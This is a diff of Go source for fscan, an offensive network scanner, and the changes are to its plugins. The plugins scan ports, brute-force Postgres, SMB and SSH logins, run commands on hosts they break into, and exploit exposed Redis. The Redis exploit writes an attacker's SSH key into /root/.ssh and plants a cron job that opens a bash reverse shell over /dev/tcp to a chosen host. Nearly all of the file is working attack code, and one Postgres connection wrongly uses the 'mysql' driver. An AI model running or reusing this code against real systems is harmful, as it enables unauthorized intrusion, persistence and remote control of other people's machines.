close(Addrs) return aliveHosts, AliveAddress
close(results)
return AliveAddress
}
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
host, port := addr.ip, addr.port
con, err := net.DialTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second)
if err == nil {
con.Close()
address := host + ":" + strconv.Itoa(port)
result := fmt.Sprintf("%s open", address)
common.LogSuccess(result)
respondingHosts <- address
wg.Add(1)
}
} }
+11 -18
View File
@@ -3,41 +3,34 @@ package Plugins
import ( import (
"database/sql" "database/sql"
"fmt" "fmt"
"strings"
"sync"
"time"
_ "github.com/lib/pq" _ "github.com/lib/pq"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"strings"
"time"
) )
func PostgresScan(info *common.HostInfo) (tmperr error) { func PostgresScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
starttime := time.Now().Unix() Loop:
for _, user := range common.Userdict["postgresql"] { for _, user := range common.Userdict["postgresql"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1) pass = strings.Replace(pass, "{user}", string(user), -1)
flag, err := PostgresConn(info, user, pass) flag, err := PostgresConn(info, user, pass)
if flag == true && err == nil { if flag == true && err == nil {
return err break Loop
} else {
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * info.Timeout) {
return err
}
} }
} }
} }
return tmperr wg.Done()
<-ch
} }
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass Host, Port, Username, Password := info.Host, common.PORTList["psql"], user, pass
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable") dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
db, err := sql.Open("postgres", dataSourceName) db, err := sql.Open("mysql", dataSourceName)
if err == nil { if err == nil {
db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second) db.SetConnMaxLifetime(time.Duration(info.Timeout) * time.Second)
defer db.Close() defer db.Close()
+69 -220
View File
@@ -7,105 +7,77 @@ import (
"net" "net"
"os" "os"
"strings" "strings"
"sync"
"time" "time"
) )
func RedisScan(info *common.HostInfo) (tmperr error) { func RedisScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
starttime := time.Now().Unix()
flag, err := RedisUnauth(info) flag, err := RedisUnauth(info)
if flag == true && err == nil { if flag == true && err == nil {
return err wg.Done()
<-ch
return
} }
Loop:
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1) pass = strings.Replace(pass, "{user}", string("redis"), -1)
flag, err := RedisConn(info, pass) flag, err := RedisConn(info, pass)
if flag == true && err == nil { if flag == true && err == nil {
return err break Loop
} else {
errlog := fmt.Sprintf("[-] redis %v:%v %v %v", info.Host, info.Ports, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Passwords)) * info.Timeout) {
return err
}
} }
} }
return tmperr wg.Done()
<-ch
} }
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) { func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
flag = false flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second) conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil { if err != nil {
return flag, err return flag, err
} }
defer conn.Close() defer conn.Close()
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass))) conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return flag, err
}
reply, err := readreply(conn) reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "+OK") { if strings.Contains(reply, "+OK") {
result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass) result := fmt.Sprintf("[+] Redis:%s %s", realhost, pass)
common.LogSuccess(result) common.LogSuccess(result)
flag = true flag = true
err = Expoilt(realhost, conn) Expoilt(info, realhost, conn)
} }
return flag, err return flag, err
} }
func RedisUnauth(info *common.HostInfo) (flag bool, err error) { func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
flag = false flag = false
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) realhost := fmt.Sprintf("%s:%d", info.Host, common.PORTList["redis"])
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second) conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
if err != nil { if err != nil {
return flag, err return flag, err
} }
defer conn.Close() defer conn.Close()
_, err = conn.Write([]byte("info\r\n")) conn.Write([]byte("info\r\n"))
if err != nil {
return flag, err
}
reply, err := readreply(conn) reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "redis_version") { if strings.Contains(reply, "redis_version") {
result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost) result := fmt.Sprintf("[+] Redis:%s unauthorized", realhost)
common.LogSuccess(result) common.LogSuccess(result)
flag = true flag = true
err = Expoilt(realhost, conn) Expoilt(info, realhost, conn)
} }
return flag, err return flag, err
} }
func Expoilt(realhost string, conn net.Conn) error { func Expoilt(info *common.HostInfo, realhost string, conn net.Conn) {
dbfilename, dir, err := getconfig(conn) flagSsh, flagCron := testwrite(conn)
if err != nil {
return err
}
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
return err
}
if flagSsh == true { if flagSsh == true {
result := fmt.Sprintf("[+] Redis:%v like can write /root/.ssh/", realhost) result := fmt.Sprintf("Redis:%v like can write /root/.ssh/", realhost)
common.LogSuccess(result) common.LogSuccess(result)
if common.RedisFile != "" { if info.RedisFile != "" {
writeok, text, err := writekey(conn, common.RedisFile) if writeok, text := writekey(conn, info.RedisFile); writeok {
if err != nil { result := fmt.Sprintf("%v SSH public key was written successfully", realhost)
fmt.Println(fmt.Sprintf("[-] %v SSH write key errer: %v", realhost, text))
return err
}
if writeok {
result := fmt.Sprintf("[+] %v SSH public key was written successfully", realhost)
common.LogSuccess(result) common.LogSuccess(result)
} else { } else {
fmt.Println("Redis:", realhost, "SSHPUB write failed", text) fmt.Println("Redis:", realhost, "SSHPUB write failed", text)
@@ -114,71 +86,33 @@ func Expoilt(realhost string, conn net.Conn) error {
} }
if flagCron == true { if flagCron == true {
result := fmt.Sprintf("[+] Redis:%v like can write /var/spool/cron/", realhost) result := fmt.Sprintf("Redis:%v like can write /var/spool/cron/", realhost)
common.LogSuccess(result) common.LogSuccess(result)
if common.RedisShell != "" { if info.RedisShell != "" {
writeok, text, err := writecron(conn, common.RedisShell) if writeok, text := writecron(conn, info.RedisShell); writeok {
if err != nil { result := fmt.Sprintf("%v /var/spool/cron/root was written successfully", realhost)
return err
}
if writeok {
result := fmt.Sprintf("[+] %v /var/spool/cron/root was written successfully", realhost)
common.LogSuccess(result) common.LogSuccess(result)
} else { } else {
fmt.Println("[-] Redis:", realhost, "cron write failed", text) fmt.Println("Redis:", realhost, "cron write failed", text)
} }
} }
} }
err = recoverdb(dbfilename, dir, conn)
return err
} }
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) { func writekey(conn net.Conn, filename string) (flag bool, text string) {
flag = false flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil { text, _ = readreply(conn)
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n"))) conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename authorized_keys\r\n")))
if err != nil { text, _ = readreply(conn)
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
key, err := Readfile(filename) key, _ := Readfile(filename)
if err != nil { conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
text = fmt.Sprintf("Open %s error, %v", filename, err) text, _ = readreply(conn)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("the keyfile %s is empty", filename)
return flag, text, err
}
_, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key)))
if err != nil {
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil { text, _ = readreply(conn)
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
flag = true flag = true
} }
@@ -189,64 +123,41 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
if len(text) > 50 { if len(text) > 50 {
text = text[:50] text = text[:50]
} }
return flag, text, err return flag, text
} }
func writecron(conn net.Conn, host string) (flag bool, text string, err error) { func writecron(conn net.Conn, host string) (flag bool, text string) {
flag = false flag = false
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n"))) conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil { text, _ = readreply(conn)
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n"))) conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename root\r\n")))
if err != nil { text, _ = readreply(conn)
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
scanIp, scanPort := strings.Split(host, ":")[0], strings.Split(host, ":")[1] scan_ip, scan_port := strings.Split(host, ":")[0], strings.Split(host, ":")[1]
_, err = conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort))) conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scan_ip, scan_port)))
if err != nil { text, _ = readreply(conn)
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
_, err = conn.Write([]byte(fmt.Sprintf("save\r\n"))) conn.Write([]byte(fmt.Sprintf("save\r\n")))
if err != nil { text, _ = readreply(conn)
return flag, text, err
}
text, err = readreply(conn)
if err != nil {
return flag, text, err
}
if strings.Contains(text, "OK") { if strings.Contains(text, "OK") {
flag = true flag = true
} } //else {fmt.Println(text)}
} } //else {fmt.Println(text)}
} } //else {fmt.Println(text)}
} } //else {fmt.Println(text)}
text = strings.TrimSpace(text) text = strings.TrimSpace(text)
if len(text) > 50 { if len(text) > 50 {
text = text[:50] text = text[:50]
} }
return flag, text, err return flag, text
} }
func Readfile(filename string) (string, error) { func Readfile(filename string) (string, error) {
file, err := os.Open(filename) file, err := os.Open(filename)
if err != nil { if err != nil {
return "", err fmt.Println("Open %s error, %v", filename, err)
return err.Error(), err
} }
defer file.Close() defer file.Close()
scanner := bufio.NewScanner(file) scanner := bufio.NewScanner(file)
@@ -256,7 +167,7 @@ func Readfile(filename string) (string, error) {
return text, nil return text, nil
} }
} }
return "", err return err.Error(), err
} }
func readreply(conn net.Conn) (result string, err error) { func readreply(conn net.Conn) (result string, err error) {
@@ -274,81 +185,19 @@ func readreply(conn net.Conn) (result string, err error) {
return result, err return result, err
} }
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { func testwrite(conn net.Conn) (flagSsh bool, flagCron bool) {
flagSsh = false
flagCron = false
var text string var text string
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n"))) conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /root/.ssh/\r\n")))
if err != nil { text, _ = readreply(conn)
return flag, flagCron, err if strings.Contains(string(text), "OK") {
flagSsh = true
} }
text, err = readreply(conn) conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil { text, _ = readreply(conn)
return flag, flagCron, err if strings.Contains(string(text), "OK") {
}
if strings.Contains(text, "OK") {
flag = true
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir /var/spool/cron/\r\n")))
if err != nil {
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
return flag, flagCron, err
}
if strings.Contains(text, "OK") {
flagCron = true flagCron = true
} }
return flag, flagCron, err return flagSsh, flagCron
}
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
if err != nil {
return
}
text, err := readreply(conn)
if err != nil {
return
}
text1 := strings.Split(text, "\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
if err != nil {
return
}
text, err = readreply(conn)
if err != nil {
return
}
text1 = strings.Split(text, "\n")
if len(text1) > 2 {
dir = text1[len(text1)-2]
} else {
dir = text1[0]
}
return
}
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
if err != nil {
return
}
dbfilename, err = readreply(conn)
if err != nil {
return
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
if err != nil {
return
}
dir, err = readreply(conn)
if err != nil {
return
}
return
} }
+51 -88
View File
@@ -3,102 +3,19 @@ package Plugins
import ( import (
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"reflect" "reflect"
"strconv" "strconv"
"strings" "strings"
"sync" "sync"
"github.com/shadow1ng/fscan/common"
) )
func Scan(info common.HostInfo) { func scan_func(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
fmt.Println("start infoscan")
Hosts, _ := common.ParseIP(info.Host, common.HostFile)
lib.Inithttp(common.Pocinfo)
var ch = make(chan struct{}, common.Threads)
var wg = sync.WaitGroup{}
if len(Hosts) > 0 {
if common.IsPing == false {
Hosts = ICMPRun(Hosts, common.Ping)
fmt.Println("icmp alive hosts len is:", len(Hosts))
}
if info.Scantype == "icmp" {
return
}
AlivePorts := PortScan(Hosts, info.Ports, info.Timeout)
fmt.Println("alive ports len is:", len(AlivePorts))
if info.Scantype == "portscan" {
return
}
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port))
}
fmt.Println("start vulscan")
for _, targetIP := range AlivePorts {
info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
if info.Scantype == "all" {
switch {
case info.Ports == "445":
//AddScan(info.Ports, info, ch, &wg) //smb
AddScan("1000001", info, ch, &wg) //ms17010
AddScan("1000002", info, ch, &wg) //smbghost
case info.Ports == "9000":
AddScan(info.Ports, info, ch, &wg) //fcgiscan
AddScan("1000003", info, ch, &wg) //http
case IsContain(severports, info.Ports):
AddScan(info.Ports, info, ch, &wg) //plugins scan
default:
AddScan("1000003", info, ch, &wg) //webtitle
}
} else {
port, _ := common.PORTList[info.Scantype]
scantype := strconv.Itoa(port)
AddScan(scantype, info, ch, &wg)
}
}
}
if common.URL != "" {
info.Url = common.URL
AddScan("1000003", info, ch, &wg)
}
if len(common.Urls) > 0 {
for _, url := range common.Urls {
info.Url = url
AddScan("1000003", info, ch, &wg)
}
}
wg.Wait()
common.LogWG.Wait()
close(common.Results)
fmt.Println(fmt.Sprintf("已完成 %v/%v", common.End, common.Num))
}
var Mutex = &sync.Mutex{}
func AddScan(scantype string, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) {
wg.Add(1)
go func() {
Mutex.Lock()
common.Num += 1
Mutex.Unlock()
ScanFunc(PluginList, scantype, &info)
wg.Done()
Mutex.Lock()
common.End += 1
Mutex.Unlock()
<-ch
}()
ch <- struct{}{}
}
func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (result []reflect.Value, err error) {
f := reflect.ValueOf(m[name]) f := reflect.ValueOf(m[name])
if len(infos) != f.Type().NumIn() { if len(infos) != f.Type().NumIn() {
err = errors.New("The number of infos is not adapted ") err = errors.New("The number of infos is not adapted.")
fmt.Println(err.Error()) fmt.Println(err.Error())
return result, nil
} }
in := make([]reflect.Value, len(infos)) in := make([]reflect.Value, len(infos))
for k, info := range infos { for k, info := range infos {
@@ -107,7 +24,6 @@ func ScanFunc(m map[string]interface{}, name string, infos ...interface{}) (resu
result = f.Call(in) result = f.Call(in)
return result, nil return result, nil
} }
func IsContain(items []string, item string) bool { func IsContain(items []string, item string) bool {
for _, eachItem := range items { for _, eachItem := range items {
if eachItem == item { if eachItem == item {
@@ -116,3 +32,50 @@ func IsContain(items []string, item string) bool {
} }
return false return false
} }
func Scan(info common.HostInfo) {
fmt.Println("scan start")
Hosts, _ := common.ParseIP(info.Host, info.HostFile)
if info.Isping == false {
Hosts = ICMPRun(Hosts, info.IcmpThreads, info.Ping)
fmt.Println("icmp alive hosts len is:", len(Hosts))
}
_, AlivePorts := TCPportScan(Hosts, info.Ports, 3) //return AliveHosts,AlivePorts
var severports []string //severports := []string{"21","22","135"."445","1433","3306","5432","6379","9200","11211","27017"...}
for _, port := range common.PORTList {
severports = append(severports, strconv.Itoa(port))
}
severports1 := []string{"1521"} //no scan these service
var ch = make(chan int, info.Threads)
var wg = sync.WaitGroup{}
var scantype string
for _, targetIP := range AlivePorts {
scan_ip, scan_port := strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1]
info.Host = scan_ip
info.Ports = scan_port
if info.Scantype == "all" {
if IsContain(severports, scan_port) {
AddScan(scan_port, info, ch, &wg)
} else {
if !IsContain(severports1, scan_port) {
AddScan("1000003", info, ch, &wg) //webtitle
}
}
if scan_port == "445" { //scan more vul
AddScan("1000001", info, ch, &wg)
AddScan("1000002", info, ch, &wg)
}
} else {
port, _ := common.PORTList_bak[info.Scantype]
scantype = strconv.Itoa(port)
AddScan(scantype, info, ch, &wg)
}
}
wg.Wait()
}
func AddScan(scantype string, info common.HostInfo, ch chan int, wg *sync.WaitGroup) {
wg.Add(1)
go scan_func(PluginList, scantype, &info, ch, wg)
ch <- 1
}
+29 -31
View File
@@ -1,77 +1,75 @@
package Plugins package Plugins
import ( import (
"context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"github.com/stacktitan/smb/smb" "github.com/stacktitan/smb/smb"
"strings" "strings"
"sync"
"time" "time"
) )
func SmbScan(info *common.HostInfo) (tmperr error) { func SmbScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
starttime := time.Now().Unix()
Loop:
for _, user := range common.Userdict["smb"] { for _, user := range common.Userdict["smb"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", string(user), -1)
flag, err := doWithTimeOut(info, user, pass) flag, err := doWithTimeOut(info, user, pass)
if flag == true && err == nil { if flag == true && err == nil {
var result string break Loop
if info.Domain != "" {
result = fmt.Sprintf("[+] SMB:%v:%v:%v\\%v %v", info.Host, info.Ports, info.Domain, user, pass)
} else {
result = fmt.Sprintf("[+] SMB:%v:%v:%v %v", info.Host, info.Ports, user, pass)
}
common.LogSuccess(result)
return err
} else {
errlog := fmt.Sprintf("[-] smb %v:%v %v %v %v", info.Host, 445, user, pass, err)
errlog = strings.Replace(errlog, "\n", "", -1)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * info.Timeout) {
return err
}
} }
} }
} }
return tmperr wg.Done()
<-ch
} }
func SmblConn(info *common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { func SmblConn(info *common.HostInfo, user string, pass string, Domain string) (flag bool, err error) {
flag = false flag = false
Host, Username, Password := info.Host, user, pass Host, Port, Username, Password := info.Host, common.PORTList["smb"], user, pass
options := smb.Options{ options := smb.Options{
Host: Host, Host: Host,
Port: 445, Port: 445,
User: Username, User: Username,
Password: Password, Password: Password,
Domain: info.Domain, Domain: Domain,
Workstation: "", Workstation: "",
} }
session, err := smb.NewSession(options, false) session, err := smb.NewSession(options, false)
if err == nil { if err == nil {
session.Close() defer session.Close()
if session.IsAuthenticated { if session.IsAuthenticated {
var result string
if Domain != "" {
result = fmt.Sprintf("SMB:%v:%v:%v\\%v %v", Host, Port, Domain, Username, Password)
} else {
result = fmt.Sprintf("SMB:%v:%v:%v %v", Host, Port, Username, Password)
}
common.LogSuccess(result)
flag = true flag = true
} }
} }
signal <- struct{}{}
return flag, err return flag, err
} }
func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) { func doWithTimeOut(info *common.HostInfo, user string, pass string) (flag bool, err error) {
signal := make(chan struct{}) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(info.Timeout)*time.Second)
defer cancel()
signal := make(chan int, 1)
go func() { go func() {
flag, err = SmblConn(info, user, pass, signal) flag, err = SmblConn(info, user, pass, info.Domain)
signal <- 1
}() }()
select { select {
case <-signal: case <-signal:
return flag, err return flag, err
case <-time.After(time.Duration(info.Timeout) * time.Second): case <-ctx.Done():
return false, err return false, err
} }
} }
+13 -46
View File
@@ -1,64 +1,38 @@
package Plugins package Plugins
import ( import (
"errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"golang.org/x/crypto/ssh" "golang.org/x/crypto/ssh"
"io/ioutil"
"net" "net"
"strings" "strings"
"sync"
"time" "time"
) )
func SshScan(info *common.HostInfo) (tmperr error) { func SshScan(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) {
starttime := time.Now().Unix() Loop:
for _, user := range common.Userdict["ssh"] { for _, user := range common.Userdict["ssh"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag, err := SshConn(info, user, pass) flag, err := SshConn(info, user, pass)
if flag == true && err == nil { if flag == true && err == nil {
return err break Loop
} else {
errlog := fmt.Sprintf("[-] ssh %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
common.LogError(errlog)
tmperr = err
if common.CheckErrs(err) {
return err
}
if time.Now().Unix()-starttime > (int64(len(common.Userdict["ssh"])*len(common.Passwords)) * info.Timeout) {
return err
}
}
if info.SshKey != "" {
return err
} }
} }
} }
return tmperr wg.Done()
<-ch
} }
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass Host, Port, Username, Password := info.Host, common.PORTList["ssh"], user, pass
Auth := []ssh.AuthMethod{}
if info.SshKey != "" {
pemBytes, err := ioutil.ReadFile(info.SshKey)
if err != nil {
return false, errors.New("read key failed" + err.Error())
}
signer, err := ssh.ParsePrivateKey(pemBytes)
if err != nil {
return false, errors.New("parse key failed" + err.Error())
}
Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
Auth = []ssh.AuthMethod{ssh.Password(Password)}
}
config := &ssh.ClientConfig{ config := &ssh.ClientConfig{
User: Username, User: Username,
Auth: Auth, Auth: []ssh.AuthMethod{
ssh.Password(Password),
},
Timeout: time.Duration(info.Timeout) * time.Second, Timeout: time.Duration(info.Timeout) * time.Second,
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
return nil return nil
@@ -72,19 +46,12 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
if err == nil { if err == nil {
defer session.Close() defer session.Close()
flag = true flag = true
var result string
if info.Command != "" { if info.Command != "" {
combo, _ := session.CombinedOutput(info.Command) combo, _ := session.CombinedOutput(info.Command)
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo)) result := fmt.Sprintf("SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
if info.SshKey != "" {
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo))
}
common.LogSuccess(result) common.LogSuccess(result)
} else { } else {
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password) result := fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
if info.SshKey != "" {
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port)
}
common.LogSuccess(result) common.LogSuccess(result)
} }
} }
+42 -239
View File
@@ -1,265 +1,68 @@
package Plugins package Plugins
import ( import (
"bytes" "crypto/tls"
"compress/gzip"
"fmt" "fmt"
"github.com/saintfish/chardet"
"github.com/shadow1ng/fscan/WebScan" "github.com/shadow1ng/fscan/WebScan"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"golang.org/x/net/html/charset"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
"io"
"io/ioutil" "io/ioutil"
"net/http" "net/http"
"net/url"
"regexp" "regexp"
"strings" "sync"
"time"
) )
var ( func WebTitle(info *common.HostInfo, ch chan int, wg *sync.WaitGroup) (err error, result string) {
Charsets = []string{"utf-8", "gbk", "gb2312"} info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
) err, result = geturl(info)
if err == nil && info.IsWebCan == false {
func WebTitle(info *common.HostInfo) error {
err := GOWebTitle(info)
if err != nil {
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
common.LogError(errlog)
}
return err
}
//flag 1 first try
//flag 2 /favicon.ico
//flag 3 302
//flag 4 400 -> https
func GOWebTitle(info *common.HostInfo) error {
var CheckData []WebScan.CheckDatas
if info.Url == "" {
if info.Ports == "80" {
info.Url = fmt.Sprintf("http://%s", info.Host)
} else if info.Ports == "443" {
info.Url = fmt.Sprintf("https://%s", info.Host)
} else {
info.Url = fmt.Sprintf("http://%s:%s", info.Host, info.Ports)
}
} else {
if !strings.Contains(info.Url, "://") {
info.Url = fmt.Sprintf("http://%s", info.Url)
}
}
err, result, CheckData := geturl(info, 1, CheckData)
if err != nil && !strings.Contains(err.Error(), "EOF") {
return err
}
if strings.Contains(result, "://") {
//有跳转
redirecturl, err := url.Parse(result)
if err == nil {
info.Url = redirecturl.String()
err, result, CheckData = geturl(info, 3, CheckData)
if err != nil {
return err
}
}
}
if result == "https" {
info.Url = strings.Replace(info.Url, "http://", "https://", 1)
err, result, CheckData = geturl(info, 1, CheckData)
if strings.Contains(result, "://") {
//有跳转
redirecturl, err := url.Parse(result)
if err == nil {
info.Url = redirecturl.String()
err, result, CheckData = geturl(info, 3, CheckData)
if err != nil {
return err
}
}
} else {
if err != nil {
return err
}
}
}
err, _, CheckData = geturl(info, 2, CheckData)
if err != nil {
return err
}
info.Infostr = WebScan.InfoCheck(info.Url, CheckData)
if common.IsWebCan == false {
WebScan.WebScan(info) WebScan.WebScan(info)
} }
return err
}
func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { info.Url = fmt.Sprintf("https://%s:%s", info.Host, info.Ports)
Url := info.Url err, result = geturl(info)
if flag == 2 { if err == nil && info.IsWebCan == false {
URL, err := url.Parse(Url) WebScan.WebScan(info)
if err == nil {
Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host)
} else {
Url += "/favicon.ico"
}
} }
res, err := http.NewRequest("GET", Url, nil) wg.Done()
<-ch
return err, result
}
func geturl(info *common.HostInfo) (err error, result string) {
url := info.Url
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
var client = &http.Client{Timeout: time.Duration(info.WebTimeout) * time.Second, Transport: tr}
res, err := http.NewRequest("GET", url, nil)
if err == nil { if err == nil {
res.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36") res.Header.Add("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
res.Header.Set("Accept", "*/*") res.Header.Add("Accept", "*/*")
res.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") res.Header.Add("Accept-Language", "zh-CN,zh;q=0.9")
if common.Pocinfo.Cookie != "" { res.Header.Add("Accept-Encoding", "gzip, deflate")
